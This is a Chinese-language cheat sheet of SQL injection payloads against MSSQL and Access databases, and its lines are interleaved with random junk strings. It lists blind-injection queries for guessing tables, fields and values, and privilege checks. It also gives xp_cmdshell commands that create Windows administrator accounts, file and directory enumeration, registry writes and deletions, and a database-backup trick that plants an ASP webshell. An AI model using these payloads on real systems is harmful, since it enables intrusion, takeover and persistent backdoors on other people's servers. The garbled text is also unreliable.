1.判断是否有注入;and 1=1 ;and 1=2 6TJ5G8z_
2.初步判断是否是mssql ;and user>0 _6" vPN
{PgB~|W
3.注入参数是字符'and [查询条件] and ''=' r)Ts(#Z
} Uki)3(
4.搜索时没过滤参数的'and [查询条件] and '%25'=' r|4jR6%<'m
BM=`zGh"
5.判断数据库系统 `?LQd2p
c_c]0Tm
;and (select count(*) from sysobjects)>0 mssql ;tTM3W-h
'c5#M,G~
;and (select count(*) from msysobjects)>0 access B04%4N.g"X
%41dVnWB^4
6l&m+!i
-q' n p0H
6.猜数据库 ;and (select Count(*) from [数据库名])>0 jUtrFl
16/+ O$#y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9\i;zpN\
q"ba~@<BEl
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 TEz)d=
1rh\X[@
9.(1)猜字段的ascii值(access) cnvxTI<
*zeY<6
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 {dvrj<?
/ U1VE|T
(2)猜字段的ascii值(mssql) m)3?hF)
1)(p=<$
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 XRXKO>4q
)bRe"jxn7
10.测试权限结构(mssql) 2uFaAAT
DR3M|4[
b\NWDH7}
xb\(>7M6Y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- d,[.=Jqv[
^-{ 1]G:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- hPr*<2mp
6G6Hg&B
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- nL!h hseH
*-$u\?$
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- hj64ES#x
u^a\02aV[
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ya5a7
#3u3WTk+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8+Al+6d|!
.B*Yg<j
;and 1=(select IS_MEMBER('db_owner'));-- IrQ8t!
~-x8@ /
F7a &-
yq+<pfaqvK
11.添加mssql和系统的帐户 NHA
2 i
Gir_.yc/
;exec master.dbo.sp_addlogin username;-- 9\3% 5B7
;exec master.dbo.sp_password null,username,password;-- jENarB^As
cd{3JGgB
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- !+& NG&1
h95C4jBE
;exec master.dbo.xp_cmdshell 'net user username password S`2M QL
.vNfbYH(
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- vW]Frb
1 Uz'=a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- !OWVOq8
,e+.Q#r*Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 'KpCPOhfR
"BjQs<]%sF
r4t|T^{sl
*E:w377<}
12.(1)遍历目录 W093rNF~
d=WC1"
;create table dirs(paths varchar(100), id int) T[a1S ?_*T
ju0]~,
;insert dirs exec master.dbo.xp_dirtree 'c:\' =YF\mhMQ:
bL_s[-7
;and (select top 1 paths from dirs)>0 AKx\U?ei7
rMxst
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ?"+'OOqik
?I}jsm1)
+P|$T:b
qM3^)U2
(2)遍历目录 X0b :Oiw
-`wGF#}y(=
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- a8M.EFa:
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 DamLkkoA
&=|W95
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9F0B-aZ
n4YEu\*
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 QI~s~j
\sHM[nF0
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 g _;5"
.Y'kDuUu
B;4hI?
pW8pp?
13.mssql中的存储过程 9UOx~Ty
#[sC H
xp_regenumvalues 注册表根键, 子键 %_M B-
1mOZ\L!m*
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ']$ttfJB
nhk +9
xp_regread 根键,子键,键值名 NrVQK}%K
NF0IF#;a
;exec xp_regread 7qon:]b4
ERL(>)
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X ~4^$x
v3S{dX<
xp_regwrite 根键,子键, 值名, 值类型, 值 gv `jeN
GEA@AD=^f
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 x)G/YUv76
L3Ry#uw
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *Dh.'bB!
L"zOa90ig
xp_regdeletevalue 根键,子键,值名 b9EJLD
;Iw'TF
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ec1snMY
8v1asFxs.
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6#N1 -@
\ :})R{
_kH#{4`Hw
~FZLA}
14.mssql的backup创建webshell St|sUtj<r
[lS'GszA
use model |:!#kA
QC4_\V>[
create table cmd(str image); tt|U,o
1|/2%IDUI
insert into cmd(str) values (''); :L:;~t K
v{H23Cfh:
backup database model to disk='c:\l.asp'; i2)SSQ
(n"M)
,~K_rNNZ
?jw)%{iKYV
15.mssql内置函数 b_V)]>v+
&>I8^i
;and (select @@version)>0 获得Windows的版本号 'P@a_*I
n$`Nx\ v
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 'ZT!a]4
d q:M!F
;and (select user_name())>0 爆当前系统的连接用户 Btpx[T
NXeo&+F
;and (select db_name())>0 得到当前连接的数据库 TM!R[-\
Vz 5:73
m{%_5 nW
2:p2u1Q
O
16.简洁的webshell UeHS4cW
lBQ|=
use model ys+?+dY2
t T-]Vj.
create table cmd(str image); 6ap,XFRMh
z@~1e]%
insert into cmd(str) values (''); q6j]j~JxB
/unOZVr(
backup database model to disk='g:\wwwtest\l.asp';